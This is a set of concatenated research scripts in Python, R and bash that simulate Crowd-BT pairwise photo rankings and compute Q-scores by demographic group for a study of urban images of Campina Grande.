if is_tie != completeTie:
#votes_entered = votes_entered + 1
#Vote 1
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(left)
photo_votes[photo2_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 2
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo3_name in photo_votes:
votes = photo_votes[photo3_name]
else:
votes = []
votes.append(left)
photo_votes[photo3_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 3
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo4_name in photo_votes:
votes = photo_votes[photo4_name]
else:
votes = []
votes.append(left)
photo_votes[photo4_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 4
if photo3_name in annotator_data:
photo_votes = annotator_data[photo3_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(left)
photo_votes[photo2_name] = votes
annotator_data[photo3_name] = photo_votes
#Vote 5
if photo4_name in annotator_data:
photo_votes = annotator_data[photo4_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(left)
photo_votes[photo2_name] = votes
annotator_data[photo4_name] = photo_votes
#Vote 6
if photo4_name in annotator_data:
photo_votes = annotator_data[photo4_name]
else:
photo_votes = {}
if photo3_name in photo_votes:
votes = photo_votes[photo3_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo3_name] = votes
annotator_data[photo4_name] = photo_votes
#Counting map size
#for image in annotator_data.keys():
# data = annotator_data[image]
# ann_size = ann_size + len(data.keys())
#if prev_ann_size > ann_size:
# print("ERRO! " + str(linhas))
else:
#votes_entered = votes_entered + 1
#Vote 1
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo2_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 2
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo3_name in photo_votes:
votes = photo_votes[photo3_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo3_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 3
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo4_name in photo_votes:
votes = photo_votes[photo4_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo4_name] = votes
annotator_data[photo1_name] = photo_votes
#Vote 4
if photo2_name in annotator_data:
photo_votes = annotator_data[photo2_name]
else:
photo_votes = {}
if photo3_name in photo_votes:
votes = photo_votes[photo3_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo3_name] = votes
annotator_data[photo2_name] = photo_votes
#Vote 5
if photo2_name in annotator_data:
photo_votes = annotator_data[photo2_name]
else:
photo_votes = {}
if photo4_name in photo_votes:
votes = photo_votes[photo4_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo4_name] = votes
annotator_data[photo2_name] = photo_votes
#Vote 6
if photo3_name in annotator_data:
photo_votes = annotator_data[photo3_name]
else:
photo_votes = {}
if photo4_name in photo_votes:
votes = photo_votes[photo4_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo4_name] = votes
annotator_data[photo3_name] = photo_votes
#Counting map size
#for image in annotator_data.keys():
# data = annotator_data[image]
# ann_size = ann_size + len(data.keys())
#if prev_ann_size > ann_size:
# print("ERRO! " + str(linhas))
#print(">>> ANN_size " + str(linhas) + " " + str(prev_ann_size) + " " + str(ann_size))
#prev_ann_size = ann_size
annotators_exec[annotatorID] = annotator_data
annotators[annotatorID] = annotator
#else:
# print(">> Nao escolhi linha " + str(line))
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1_name = userAnswer[7].strip(' \t\n\r"')
photo2_name = userAnswer[8].strip(' \t\n\r"')
if "agrad" in question:
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
if current_question == question:
#lines_counter = lines_counter + 1
#Checking and retrieving annotator
if annotatorID in annotators.keys():
annotator = annotators[annotatorID]
else:
annotator = Annotator(annotatorID, "<EMAIL>", annotatorID)
annotators[annotatorID] = annotator
if annotatorID not in annotators_already_started:#Suppose annotator start with photo1 and photo2
#Simulating that these first two photos were recommended
photo1 = items_map[photo1_name]
photo2 = items_map[photo2_name]
annotator.update_next(photo1)
annotator.prev = annotator.next
annotator.update_next(photo2)
annotators_already_started.add(annotatorID)
if annotatorID in annotators_exec:
annotator_data = annotators_exec[annotatorID]
else:
annotator_data = {}
#Saving votes from task-run
if answer == left:
#votes_entered = votes_entered + 1
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(left)
photo_votes[photo2_name] = votes
annotator_data[photo1_name] = photo_votes
elif answer == right:
#votes_entered = votes_entered + 1
if photo2_name in annotator_data:
photo_votes = annotator_data[photo2_name]
else:
photo_votes = {}
if photo1_name in photo_votes:
votes = photo_votes[photo1_name]
else:
votes = []
votes.append(left)
photo_votes[photo1_name] = votes
annotator_data[photo2_name] = photo_votes
elif answer == notKnown:
#votes_entered = votes_entered + 1
if photo1_name in annotator_data:
photo_votes = annotator_data[photo1_name]
else:
photo_votes = {}
if photo2_name in photo_votes:
votes = photo_votes[photo2_name]
else:
votes = []
votes.append(completeTie)
photo_votes[photo2_name] = votes
annotator_data[photo1_name] = photo_votes
#Counting map size
#for image in annotator_data.keys():
# data = annotator_data[image]
# ann_size = ann_size + len(data.keys())
#if prev_ann_size > ann_size:
# print("ERRO! " + str(linhas))
#print(">>> ANN_size " + str(linhas) + " " + str(prev_ann_size) + " " + str(ann_size))
#prev_ann_size = ann_size
annotators_exec[annotatorID] = annotator_data
annotators[annotatorID] = annotator
#else:
# print(">> Nao escolhi linha " + str(line))
#linhas = linhas + 1
#print("LINES " + str(lines_counter) + " " + str(votes_entered) + " " + str(ann_size))
#For each annotator simulate execution and recommendation of tasks
success_comp = 0
failed_comp = 0
print(">>>> Iniciando quest " + current_question+"\n")
for annotatorID in annotators.keys():
#Computing amount of comparisons performed by annotator
total_counter = count_comparisons(annotators_exec[annotatorID])
current_counter = 0
continue_votes = True
annotator = annotators[annotatorID]
pairs_evaluated = []
exec_data = annotators_exec[annotatorID]
while current_counter < total_counter and continue_votes:
print("Iteração " + str(current_counter))# + " " + str(datetime.utcnow())+ " " + str(len(pairs_evaluated)))
photo1 = annotator.prev
photo2 = annotator.next
winner = None
looser = None
tie = False
if [photo1.name, photo2.name] not in pairs_evaluated and [photo2.name, photo1.name] not in pairs_evaluated:#According to definition, the same annotator does not evaluate the same pair differently!
#print("Definindo winner "+ str(datetime.utcnow()))
pairs_evaluated.append([photo1.name, photo2.name])
if photo1.name in exec_data.keys():
photo_data = exec_data[photo1.name]
if photo2.name in photo_data.keys():
photo_vote = choice(photo_data[photo2.name])
if photo_vote == left:
winner = photo1
looser = photo2
#elif photo_vote == right:
# winner = photo2
# looser = photo1
else:
tie = True
elif photo2.name in exec_data.keys():
photo_data = exec_data[photo2.name]
if photo1.name in photo_data.keys():
photo_vote = choice(photo_data[photo1.name])
if photo_vote == left:
winner = photo2
looser = photo1
#elif photo_vote == right:
# winner = photo1
# looser = photo2
else:
tie = True
#Check if comparison occurred - account for comparisons that did not occurred
#print("Voto "+ str(datetime.utcnow()))
if winner == None and looser == None and tie == False:
failed_comp = failed_comp + 1
#print (">>> Failed\t"+photo1.name+"\t"+photo2.name)
else:
#Compute vote
#decision = Decision(annotator, winner=winner, loser=looser)
if winner != None and winner.name == annotator.next.name:
perform_vote(annotator, next_won=True)
elif winner != None and winner.name == annotator.prev.name:
perform_vote(annotator, next_won=False)
else:
annotator.ignore.append(annotator.prev)
annotator.ignore.append(annotator.next)
success_comp = success_comp + 1
#Gavel way of dealing with prev and next
#annotator.next.viewed.append(annotator)
#annotator.prev = annotator.next
#annotator.ignore.append(annotator.prev)
#Choosing a new pair!
#print("Choose image "+ str(datetime.utcnow()))
annotator.next.viewed.append(annotator)
annotator.prev.viewed.append(annotator)
#Select new next photo and iterate until n comparisons for annotator
one_image = choose_image(annotator, items_map, annotators)
if one_image == None or one_image == "":
continue_votes = False
break
else:
annotator.prev = one_image
annotator.ignore = [one_image]#Avoiding same image to be selected again
other_image = choose_image(annotator, items_map, annotators)
if other_image == None or other_image == "":
continue_votes = False
break
else:
annotator.update_next(other_image)
#images = choose_image(annotator, items_map, annotators)
#if images[0] == None or images[1] == None:
# continue_votes = False
# else:
# annotator.prev = images[0]
# annotator.update_next(images[1])
current_counter = current_counter + 1
print(">>> Terminei\t" + annotator.name+"\t"+str(current_counter)+"\t"+str(total_counter)+"\t"+str(continue_votes)+"\n")
return [success_comp, failed_comp, items_map]
def count_comparisons(annotator_data):
counter = 0
#pairs_evaluated = []
for image in annotator_data.keys():
image_data = annotator_data[image]
for other_image in image_data.keys():
votes = image_data[other_image]
counter += len(votes)
#if not [image, other_image] in pairs_evaluated and not [other_image, image] in pairs_evaluated:
# pairs_evaluated.append([image, other_image])
#print(">>> TOTAL DE PARES " + str(len(pairs_evaluated)) + " " + str(pairs_evaluated[0]))
#sys.exit(1)
return counter
def preferred_items(annotator, items_map, annotators):
'''
Return a list of preferred items for the given annotator to look at next.
This method uses a variety of strategies to try to select good candidate
projects.
'''
items = []
ignored_ids = {i.name for i in annotator.ignore}
if ignored_ids:
available_items = [item for item in items_map.values() if item.name not in ignored_ids]
else:
available_items = [item for item in items_map.values()]
prioritized_items = [i for i in available_items if i.prioritized]
items = prioritized_items if prioritized_items else available_items
#annotators = Annotator.query.filter(
# (Annotator.active == True) & (Annotator.next != None) & (Annotator.updated != None)
#).all()
#for i in annotators.values():
# print(">>>> "+str(i.name)+"\t"+str(i.next)+"\t"+str(i.prev)+"\t"+str(i.updated))
busy = {i.next.name for i in annotators.values() if (datetime.utcnow() - i.updated).total_seconds() < settings.TIMEOUT * 60}
nonbusy = [i for i in items if i.name not in busy]
preferred = nonbusy if nonbusy else items
less_seen = [i for i in preferred if len(i.viewed) < settings.MIN_VIEWS]
return less_seen if less_seen else preferred
def choose_image(annotator, items_map, annotators):
pref_items = preferred_items(annotator, items_map, annotators)
shuffle(pref_items) # useful for argmax case as well in the case of ties
if pref_items:
if random() < crowd_bt.EPSILON:
return pref_items[0]
else:
return crowd_bt.argmax(lambda i: crowd_bt.expected_information_gain(
annotator.alpha,
annotator.beta,
annotator.prev.mu,
annotator.prev.sigma_sq,
i.mu,
i.sigma_sq), pref_items)
else:
return None
if __name__ == '__main__':
if len(sys.argv) < 4:
print("Uso: <arquivo com execuções das tarefas> <tasks definition -V2> <simulation or ranking> <number of sims>")
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
tasksFile = open(sys.argv[2], 'r')
mode = sys.argv[3]
num_of_sims = int(sys.argv[4])
lines = dataFile.readlines()
linesTasks = tasksFile.readlines()
tasks_def = readTasksDefinitions(linesTasks)
if mode.lower() == "ranking":
evaluateAllVotes(lines, "allPairwiseComparison.dat", tasks_def)
elif mode.lower() == "simulation":
all_pleas = {}
all_saf = {}
all_success = {"pleas": 0, "saf":0}
all_failed = {"pleas": 0, "saf":0}
for i in range(0, num_of_sims):
print(">>>> Iniciando sim " + str(i)+"\n")
pleas_data = simulateCrowdBT(lines, tasks_def, possibleQuestions[0])
for item_name, item in pleas_data[2].items():
if item_name in all_pleas:
item_data = all_pleas[item_name]
else:
item_data = []
item_data.append([item.mu, item.sigma_sq])
all_pleas[item_name] = item_data
all_success["pleas"] = all_success["pleas"] + pleas_data[0]
all_failed["pleas"] = all_failed["pleas"] + pleas_data[1]
#print(str(all_success["pleas"])+"\t"+str(all_failed["pleas"]))
saf_data = simulateCrowdBT(lines, tasks_def, possibleQuestions[1])
for item_name, item in saf_data[2].items():
if item_name in all_saf:
item_data = all_saf[item_name]
else:
item_data = []
item_data.append([item.mu, item.sigma_sq])
all_saf[item_name] = item_data
all_success["saf"] = all_success["saf"] + saf_data[0]
all_failed["saf"] = all_failed["saf"] + saf_data[1]
#print(str(all_success["saf"])+"\t"+str(all_failed["saf"]))
#Output file
output = open("allPairwiseComparison-sim-agrad.dat", 'w')
output.write(str(all_success["pleas"])+"\t"+str(all_failed["pleas"])+"\t"+str(all_success["pleas"]+all_failed["pleas"])+"\t"+str(all_success["pleas"]/(all_success["pleas"]+all_failed["pleas"]))+"\n")
for item_name, item_data in all_pleas.items():
mu = []
sigma = []
for data in item_data:
mu.append(data[0])
sigma.append(data[1])
output.write(possibleQuestions[0]+ "\t" + item_name + "\t" + str(numpy.mean(mu)) + "\t" + str(numpy.std(mu)) + "\t" + str(numpy.mean(sigma)) + "\t" + str(numpy.std(sigma)) +'\n')
output.close()
output = open("allPairwiseComparison-sim-seg.dat", 'w')
output.write(str(all_success["saf"])+"\t"+str(all_failed["saf"])+"\t"+str(all_success["saf"]+all_failed["saf"])+"\t"+str(all_success["saf"]/(all_success["saf"]+all_failed["saf"]))+"\n")
for item_name, item_data in all_saf.items():
mu = []
sigma = []
for data in item_data:
mu.append(data[0])
sigma.append(data[1])
output.write(possibleQuestions[1]+ "\t" + item_name + "\t" + str(numpy.mean(mu)) + "\t" + str(numpy.std(mu)) + "\t" + str(numpy.mean(sigma)) + "\t" + str(numpy.std(sigma)) +'\n')
output.close()
debug_file.close()
#Create items
#items = {}
#for i in range(1, 5):
# items["item"+str(i)] = Item("item"+str(i), "campina grande", "item"+str(i))
#Create annotators
#annotators = {}
#for i in ["david", "jose", "pablo"]:
# annotators[i] = Annotator(i, "<EMAIL>", i)
#Build relations and vote!
#for annotator in annotators.values():
# for data in [ [items["item1"], items["item4"]], [items["item1"], items["item3"]], [items["item3"], items["item2"]] ]:
#
#
# if annotator.name == "david" or annotator.name == "pablo":
# annotator.prev = data[0]
# annotator.next = data[1]
# else:
# annotator.prev = data[1]
# annotator.next = data[0]
#
# #Choosing whether prev or next (left or right) won!
# perform_vote(annotator, next_won=True)
# decision = Decision(annotator, winner=annotator.next, loser=annotator.prev)
# annotator.next.viewed.append(annotator)
# #annotator.prev = annotator.next
# annotator.ignore.append(annotator.prev)
# #if request.form['action'] == 'Skip':
# # annotator.ignore.append(annotator.next)
#
# #Showing results!
# for item in items.values():
# print("Item " + str(item.name) + " mu " + str(item.mu) + " sq " + str(item.sigma_sq) )
<file_sep># coding=utf-8
import sys
from sets import Set
import re
import random
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <run.csv>"
sys.exit(1)
filename = sys.argv[1]
data_file = open(filename, 'r')
lines = data_file.readlines()
output_file = open("run_08.csv", "w")
for line in lines:
random_val = random.random()
if random_val <= 0.8:
output_file.write(line)
output_file.close()
data_file.close()
<file_sep>import cv2
import numpy as np
import sys
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <foto a ser avaliada>"
sys.exit(1)
dataFile = sys.argv[1]
img = cv2.imread(dataFile)
gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
edges = cv2.Canny(gray,50,150,apertureSize = 3)
minLineLength = 100
maxLineGap = 10
lines = cv2.HoughLinesP(edges,1,np.pi*45/180,100,minLineLength,maxLineGap)
horizontalCounter = 0
verticalCounter = 0
diagonalCounter = 0
for x1,y1,x2,y2 in lines[0]:
#print str(x1) + " " + str(x2) + " " + str(y1) + " " + str(y2)
#cv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)
#cv2.line(img, (581, 309), (581, 279), (0,255,0),2)
#cv2.line(img, (578, 280), (578, 230), (0,255,0),2)
#cv2.line(img, (5, 433), (17, 421), (0,255,0),2)
#cv2.line(img, (129, 152), (143, 152), (0,255,0),2)
if x1 == x2:
verticalCounter += 1
elif y1 == y2:
horizontalCounter += 1
else:
diagonalCounter += 1
print dataFile + "\t" + str(diagonalCounter) + "\t" + str(horizontalCounter) + "\t" + str(verticalCounter)
#cv2.imwrite('houghlines5.jpg',img)
<file_sep>#!/bin/Rscript
# Combines the set of files with QScores and image characteristics into a single file
#Reading social groups data
solteiro <- read.table("allSolteiroOrdInter.dat")
casado <- read.table("allCasadoOrdInter.dat")
masculino <- read.table("allMasculinoOrdInter.dat")
feminino <- read.table("allFemininoOrdInter.dat")
jovem <- read.table("allJovemOrdInter.dat")
adulto <- read.table("allAdultoOrdInter.dat")
media <- read.table("allMediaOrdInter.dat")
baixa <- read.table("allBaixaOrdInter.dat")
medio <- read.table("allMedioOrdInter.dat")
pos <- read.table("allPosOrdInter.dat")
liberdade <- read.table("allLiberdadeOrdInter.dat")
nliberdade <- read.table("allNotLiberdadeOrdInter.dat")
centro <- read.table("allCentroOrdInter.dat")
ncentro <- read.table("allNotCentroOrdInter.dat")
catole <- read.table("allCatoleOrdInter.dat")
ncatole <- read.table("allNotCatoleOrdInter.dat")
solteiro$grupo <- "Solteiro"
casado$grupo <- "Casado"
masculino$grupo <- "Masculino"
feminino$grupo <- "Feminino"
jovem$grupo <- "Jovem"
adulto$grupo <- "Adulto"
media$grupo <- "Media"
baixa$grupo <- "Baixa"
medio$grupo <- "Medio"
pos$grupo <- "Pos"
nliberdade$grupo <- "NCLiberdade"
liberdade$grupo <- "CLiberdade"
ncatole$grupo <- "NCCatole"
catole$grupo <- "CCatole"
ncentro$grupo <- "NCCentro"
centro$grupo <- "CCentro"
#Reading general data
general <- read.table("all_ordenado.dat")
general$grupo <- "Geral"
#Reading images characteristics
segRGB <- read.table("inputCorrelacaoRegressao100/rgbQScoreSegAll.dat", header=TRUE)
#Reading IBGE sectors
ibge <- read.table("setores_censitarios.dat", header=TRUE)
#newFrame <- rbind(solteiro, casado, masculino, feminino, jovem, adulto, media, baixa, medio, pos, nliberdade,
# liberdade, ncatole, catole, ncentro, centro, general)
newFrame <- rbind(nliberdade, liberdade, ncatole, catole, ncentro, centro)
novo <- lapply(as.character(newFrame$V2), function (x) paste(strsplit(x, split="/", fixed=TRUE)[[1]][6], "/", strsplit(x, split="/", fixed=TRUE)[[1]][7], sep=""))
newFrame$V2 <- unlist(lapply(novo, '[[', 1))
temp <- merge(newFrame, segRGB[,c("foto", "red", "green", "blue", "hor", "vert", "diag")], by.x="V2", by.y="foto")
temp1 <- merge(temp, ibge, by.x = "V2", by.y = "foto")
final <- temp1[with(temp1, order(V2)),]
final2 <- temp[with(temp, order(V2)),]
temp1 <- lapply(as.character(final$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
neigs1 <- unlist(lapply(temp1, '[[', 1))
final$bairro <- neigs1
temp <- lapply(as.character(final2$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
neigs2 <- unlist(lapply(temp, '[[', 1))
final2$bairro <- neigs2
write.table(final, file="geral.dat", sep=" ", quote=FALSE, row.names=FALSE)
write.table(final2, file="geralRank.dat", sep=" ", quote=FALSE, row.names=FALSE)
<file_sep># coding=utf-8
# Combines RGB bins data and other data for images
import sys
import re
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <arquivo com rgb bins> <arquivo com EHD> <arquivo com qscores e outros dados>"
sys.exit(1)
rgbs = open(sys.argv[1], "r")
EHD = open(sys.argv[2], "r")
qscores = open(sys.argv[3], "r")
qscoreLines = qscores.readlines()
EHDLines = EHD.readlines()
rgbLines = rgbs.readlines()
#Reading qscores
qscoreDic = []
for line in qscoreLines[1:]:
qscoreDic.append(line)
#Reading EHD data
EHDDic = {}
for line in EHDLines:
data = line.split(" ")
#print data
photo = data[0]
EHDDic[photo.strip()] = str(data[1:])
#Reading rgb data
rgbDic = {}
for line in rgbLines:
data = line.split(" ")
#print data
photo = data[0]
rgbDic[photo.strip()] = str(data[1:])
#Writing outputFile with qscores and rgb
outputFile = open("geralSetoresAJ_bins.dat","w")
#outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for line in qscoreDic:
data = re.split(' |\t',line)
#data = line.split(" \t")
photo = data[0]
rgb = rgbDic[photo.split("/")[1]].strip('[]')
ehd = EHDDic[photo.split("/")[1]].strip('[]')
outputFile.write(line+"\t"+rgb+"\t"+ehd+"\n")
outputFile.close()
<file_sep>#!/bin/bash
#rm *.dat
#Pre-processamento para considerar como id 0 os usuários que não fizeram login
#python preProcessa.py test3.csv
#awk -F "," '{print $5, $NF}' output.csv > partial.csv
#awk -F " " '{print $1, $3, $4, $5}' partial.csv > data.csv
#rm partial.csv
#Analisa dados de acordo com Q-Score do PlacePulse
python analisaQScore.py output.csv > qscore_test3.dat
awk '{if ($1 == 1) print $0}' qscore_test3.dat > question1.dat
awk '{if ($1 == 2) print $0}' qscore_test3.dat > question2.dat
awk '{if ($1 == 3) print $0}' qscore_test3.dat > question3.dat
awk '{if ($1 == 4) print $0}' qscore_test3.dat > question4.dat
Rscript ordenaDados.R question1.dat
mv questionSorted.dat question1Sorted.dat
Rscript ordenaDados.R question2.dat
mv questionSorted.dat question2Sorted.dat
Rscript ordenaDados.R question3.dat
mv questionSorted.dat question3Sorted.dat
Rscript ordenaDados.R question4.dat
mv questionSorted.dat question4Sorted.dat
preparaHTML.py question1Sorted.dat
mv question.html question1.html
preparaHTML.py question2Sorted.dat
mv question.html question2.html
preparaHTML.py question3Sorted.dat
mv question.html question3.html
preparaHTML.py question4Sorted.dat
mv question.html question4.html
#Separa resultados gerais das comparacoes apenas pela contagem do número de imagens das quais ganhou
#python analisaGeral.py output.csv > geral.dat
#Separa resultados das comparacoes por formação dos usuários pela contagem do número de imagens das quais ganhou
#python analisaUsuario.py output.csv graduacao.csv > graduacao.dat
#python analisaUsuario.py output.csv mestrado.csv > mestrado.dat
#python analisaUsuario.py output.csv medio.csv > medio.dat
#Separa resultados das comparacoes por questões pela contagem do número de imagens das quais ganhou
#python analisaQuestoes.py output.csv 1 > question1.dat
#python analisaQuestoes.py output.csv 2 > question2.dat
#python analisaQuestoes.py output.csv 3 > question3.dat
#python analisaQuestoes.py output.csv 4 > question4.dat
#Gera percentuais de vitórias das fotos no geral
#Rscript analisaComparacoes.R geral.dat
#mv percentualGeralPorTotalDeComparacoes.dat pGeralTotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pGeralComparacoes.dat
#Gera percentuais de vitórias das fotos por grau de instrução
#Rscript analisaComparacoes.R graduacao.dat
#mv percentualGeralPorTotalDeComparacoes.dat pGraduacaoTotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pGraduacaoComparacoes.dat
#Rscript analisaComparacoes.R mestrado.dat
#mv percentualGeralPorTotalDeComparacoes.dat pMestradoTotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pMestradoComparacoes.dat
#Rscript analisaComparacoes.R medio.dat
#mv percentualGeralPorTotalDeComparacoes.dat pMedioTotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pMedioComparacoes.dat
#Gera percentuais de vitórias das fotos por questao
#Rscript analisaComparacoes.R question1.dat
#mv percentualGeralPorTotalDeComparacoes.dat pQuestao1TotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pQuestao1Comparacoes.dat
#Rscript analisaComparacoes.R question2.dat
#mv percentualGeralPorTotalDeComparacoes.dat pQuestao2TotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pQuestao2Comparacoes.dat
#Rscript analisaComparacoes.R question3.dat
#mv percentualGeralPorTotalDeComparacoes.dat pQuestao3TotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pQuestao3Comparacoes.dat
#Rscript analisaComparacoes.R question4.dat
#mv percentualGeralPorTotalDeComparacoes.dat pQuestao4TotalComparacoes.dat
#mv percentualGeralPorComparacoes.dat pQuestao4Comparacoes.dat
<file_sep>#!/bin/bash
#Selects Como é Campina? answers based on users ids, per randomized group, and then computes Q-Scores for selected answers
for group in "hom-mul" "jovem-adulto" "media-baixa"; do #"jovem-adulto" "media-baixa" ; do #"masculino-feminino" "jovem-adulto" "media-baixa"
group1=`echo $group | cut -d \- -f 1`
group2=`echo $group | cut -d \- -f 2`
for desb in "100-100" "150-100" "400-100" "100-150" "100-400" ; do #"60-40" "15-60" "40-60" "60-60" "60-15" ; do
size1=`echo $desb | cut -d \- -f 1`
size2=`echo $desb | cut -d \- -f 2`
#mkdir ${group1}${size1}_${group2}${size2}
#python sorteia_grupos.py igual feminino.dat masculino.dat 100 #Creates ids files from second file with same size of first file
#python sorteia_grupos.py desb ${size2} ${size1} ${group2}.dat ${group1}.dat 100 #Creates ids files from each file according to corresponding sizes specified first
#Iterating through each generated men files and comparing to a reference women file
#for file in `ls masculino_*.dat`; do
#
# currentFile=`echo $file | cut -d \_ -f 2 | cut -d . -f 1`
# python ../selectRunPerUsers.py ../run100/run.csv $file run > runMasculino_${currentFile}.csv
#
# python ../analisaQScore.py runMasculino_${currentFile}.csv 100 ../tasksDef.csv campina
# mv all.dat allMasculino_${currentFile}.dat
#
# sort -k 3 -r -o allMasculino_${currentFile}.dat allMasculino_${currentFile}.dat
#
# python ../encontraInterseccao.py ../all100/allFemininoOrd.dat allMasculino_${currentFile}.dat > intersectionAllFemMas_${currentFile}.dat
# python ../preparaHTML.py ../all100/allFemininoOrd.dat intersectionAllFemMas_${currentFile}.dat > allFemininoOrdInter_${currentFile}.dat
# python ../preparaHTML.py allMasculino_${currentFile}.dat intersectionAllFemMas_${currentFile}.dat > allMasculinoOrdInter_${currentFile}.dat
# rm question.html
#
#Building all evaluations with only selected men, this means removing men that were not sorted in current group
# python sorteia_grupos_geral.py masculino masculino_${currentFile}.dat
# python ../selectRunPerUsers.py ../run100/run.csv homMul_95/diff_masculino_${currentFile}.dat remove > homMul_95/runDiffMasculino_${currentFile}.csv
# python ../analisaQScore.py homMul_95/runDiffMasculino_${currentFile}.csv 100 ../tasksDef.csv campina
# mv all.dat homMul_95/allDiffMasculino_${currentFile}.dat
#
# sort -k 3 -r -o homMul_95/allDiffMasculino_${currentFile}.dat homMul_95/allDiffMasculino_${currentFile}.dat
#done
echo ">>>> FOLDER ${group1}${size1}_${group2}${size2}"
if [[ $group1 = "hom" ]] ; then
name1="masculino"
name2="feminino"
else
name1=$group1
name2=$group2
fi
#Iterating through each generated men and women files
for i in {0..99}; do
#currentFile=`echo $file | cut -d \_ -f 2 | cut -d . -f 1`
python ../selectRunPerUsers.py ../run100/run.csv ${group1}${size1}_${group2}${size2}/${name1}_${i}.dat run > ${group1}${size1}_${group2}${size2}/run${name1}_${i}.csv
python ../selectRunPerUsers.py ../run100/run.csv ${group1}${size1}_${group2}${size2}/${name2}_${i}.dat run > ${group1}${size1}_${group2}${size2}/run${name2}_${i}.csv
python ../analisaQScore.py ${group1}${size1}_${group2}${size2}/run${name1}_${i}.csv 100 ../tasksDef.csv campina
mv all.dat all${name1}_${i}.dat
python ../analisaQScore.py ${group1}${size1}_${group2}${size2}/run${name2}_${i}.csv 100 ../tasksDef.csv campina
mv all.dat all${name2}_${i}.dat
sort -k 3 -r -o all${name1}_${i}.dat all${name1}_${i}.dat
sort -k 3 -r -o all${name2}_${i}.dat all${name2}_${i}.dat
python ../encontraInterseccao.py all${name2}_${i}.dat all${name1}_${i}.dat > intersectionAll${name2}${name1}_${i}.dat
python ../preparaHTML.py all${name2}_${i}.dat intersectionAll${name2}${name1}_${i}.dat > all${name2}OrdInter_${i}.dat
rm question.html
python ../preparaHTML.py all${name1}_${i}.dat intersectionAll${name2}${name1}_${i}.dat > all${name1}OrdInter_${i}.dat
rm question.html
#Combining group1 and group2 to compute a general ranking
cat ${group1}${size1}_${group2}${size2}/run${name1}_${i}.csv ${group1}${size1}_${group2}${size2}/run${name2}_${i}.csv > runAll_${name1}_${name2}_${i}.csv
python ../analisaQScore.py runAll_${name1}_${name2}_${i}.csv 100 ../tasksDef.csv campina
mv all.dat all_${name1}_${name2}_${i}.dat
#==== Old version
# cp ${group1}${size1}_${group2}${size2}/${name1}_${i}.dat .
# cp ${group1}${size1}_${group2}${size2}/${name2}_${i}.dat .
#
# #Building all evaluations with only selected men, this means removing men that were not sorted in current group
# python sorteia_grupos_geral.py ${name1} ${name1}_${i}.dat
# python sorteia_grupos_geral.py ${name2} ${name2}_${i}.dat
#
# python ../selectRunPerUsers.py ../run100/run.csv diff_${name1}_${i}.dat diff_${name2}_${i}.dat remove > runDiff${name2}${name1}_${i}.csv
# #python ../selectRunPerUsers.py ../run100/run.csv diff_feminino_${i}.dat remove > runDiffFeminino_${i}.csv
# python ../analisaQScore.py runDiff${name2}${name1}_${i}.csv 100 ../tasksDef.csv campina
# mv all.dat allDiff${name2}${name1}_${i}.dat
# #python ../analisaQScore.py runDiffFeminino_${i}.csv 100 ../tasksDef.csv campina
# #mv all.dat allDiffFeminino_${i}.dat
#
# sort -k 3 -r -o allDiff${name2}${name1}_${i}.dat allDiff${name2}${name1}_${i}.dat
# #sort -k 3 -r -o allDiffFeminino_${i}.dat allDiffFeminino_${i}.dat
done
mv run*_*.csv all*_*.dat intersectionAll*.dat diff_*.dat ${name1}_*.dat ${name2}_*.dat ${group1}${size1}_${group2}${size2}
done
done
#Creating files to be used for logit models
